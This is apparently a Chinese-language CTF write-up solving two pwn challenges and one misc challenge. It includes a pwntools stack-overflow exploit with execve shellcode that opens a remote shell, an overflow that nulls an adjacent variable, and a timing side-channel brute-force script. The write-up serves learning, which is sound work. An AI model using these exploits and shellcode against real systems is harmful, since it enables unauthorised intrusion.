周末闲来无事(其实还是有几个ddl加上final的),有人找我打ctf,就抱着打酱油的心态注册了,结果果然是打了一手好酱油,web一道题都没做出来,反倒是做了几道pwn和misc的,记录一下好了。

Exploitation

Easy Right

文件下载

只有一个可执行文件,没有源码,拖到ida里看一下执行逻辑:

image-20200420181921360

看到他把s的地址给打印出来了。

很明显的栈溢出,fgets读入大量字符串,覆盖main函数的返回地址,跳到s的开头处,然后执行s里的shellcode,spawn一个shell出来。

gdb打开可执行文件,checksec看了下没有任何保护。

在main函数前面下断点,执行,输入任意字符串,查看栈:

image-20200420182119062

查看当前函数调用栈的返回地址

image-20200420182145004

image-20200420182206867

从栈顶到返回地址之间,有17个slots,每个slots是8个字节,所以偏移量是17*8 = 136个字节。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

shellcode = shellcode.ljust(136,"\x90")

r = remote("142.93.113.134", 9999)
ret = "0x"+r.recvline().replace("\n","")[-12:].rjust(16,"0")
shellcode += p64(int(ret,16))

r.sendline(shellcode)
r.interactive()
r.close()

image-20200420182357225


Cowspeak as a Service

题目描述
image-20200420182550083

程序源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void moo(char *msg)
{
char speak[64];
int chief_cow = 1;

strcpy(speak, msg);
speak[strcspn(speak, "\r\n")] = 0;
setenv("MSG", speak, chief_cow);

system("./cowsay $MSG");

}

int main() {
char buf[1024];
setbuf(stdout, NULL);
puts("Welcome to Cowsay as a Service (CaaS)!\n");
puts("Enter your message: \n");

fgets(buf, 1024, stdin);
moo(buf);

return 0;
}

根据代码逻辑,再结合题目描述,应该是moo函数中的setenv语句会把MSG变量的值重置了,但是我们需要得到MSG变量最初的值。

从main函数里的fgets(buf, 1024, stdin);再到moo函数里的char speak[64];strcpy(speak, msg);有很明显的溢出漏洞,可以把chief_cow的值给改了,但是只有当chief_cow的值是0的时候,setenv("MSG", speak, chief_cow);才不会把MSG变量的值给重设了。

可是fgetsstrcpy都会受到空字符的截断,没办法通过strcpy去覆盖cheif_cow的值设置为0

所以得通过speak[strcspn(speak, "\r\n")] = 0;这一句来把cheif_cow的值给设成0。让speak延伸到chief_cow的前一个字节,那么 speak[strcspn(speak, "\r\n")] = 0;就会正好把chief_cow的值给设置成0。多试几次就知道正确的长度是多少:

image-20200420183036841


MISC

Second

代码太长,直接到这里下载吧,我只截关键代码。

前面的encode_85编码函数绕来绕去,全都是假的,没用,直接看下面这段逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
else {
printf("Received: %s vs Have: %s\n", buff, why85);
int i;
for (i = 0; i < ESIZE; i++) {
// If the passwords don't match, no point in continuing.
if ((int) buff[i] != (int) why85[i])
break;
sleep(1); // easy way to prevent brute force attacks
}

if (i == ESIZE) {
#
ifdef FLAG
send(sock, FLAG, strlen(FLAG), 0);#
else
send(sock, "Wow, you did it!, now try it on the server!\n",
strlen("Wow, you did it!, now try it on the server!\n"), 0);#
endif
return 0;
} else {
send(sock, "Better luck next time!\n",
strlen("Better luck next time!\n"), 0);
}
}

将用户输入和预设的why85的值逐位做比对,如果一位对了,就sleep一秒,然后比对下一位,如果错了直接跳出,注意前面的encode_85函数会把why85编码成10位长的字符串,而且可选字符只有85个。这样的话,我可以一位一位的爆破,最坏情况下why85的值是 ~~~~~~~~~~(~是可选字符集的最后一个,就是每一位我都从可选字符集的第一个开始测试,直到最后一个~我才得到正确答案),忽略掉网络延时,我需要
$$
\sum_{k=1}^{10}((k-1)*84+k)
$$
也就是3835秒,平均下来,加上网络延时,大概40分钟不到就能跑出来,可以接受,上exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
import datetime

charset = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!#$%&()*+-;<=>?@^_`{|}~"
r = remote("192.241.138.174", 7799)
#r = remote("127.0.0.1", 7799)
r.recvuntil("number!\n")
ans = ""

#延时
lag = 1
while True:
for i in range(85):
r.sendline(ans+charset[i])
starttime = datetime.datetime.now()
print("trying "+ans+charset[i])
print(r.recv(100)) # 千万别用recvline(),server最后发送flag的时候是不含换行符的,如果使用recvline(),exploit会卡在这里,等待server发出来的换行符,为此我付出了惨痛的代价。
endtime = datetime.datetime.now()
if (endtime-starttime).seconds >= lag: #当前位数对了,下一位需要的延时多加一秒
lag += 1
ans = ans+charset[i]
break

image-20200421144124745

这次的打酱油之旅就到此结束了,我们下期再见。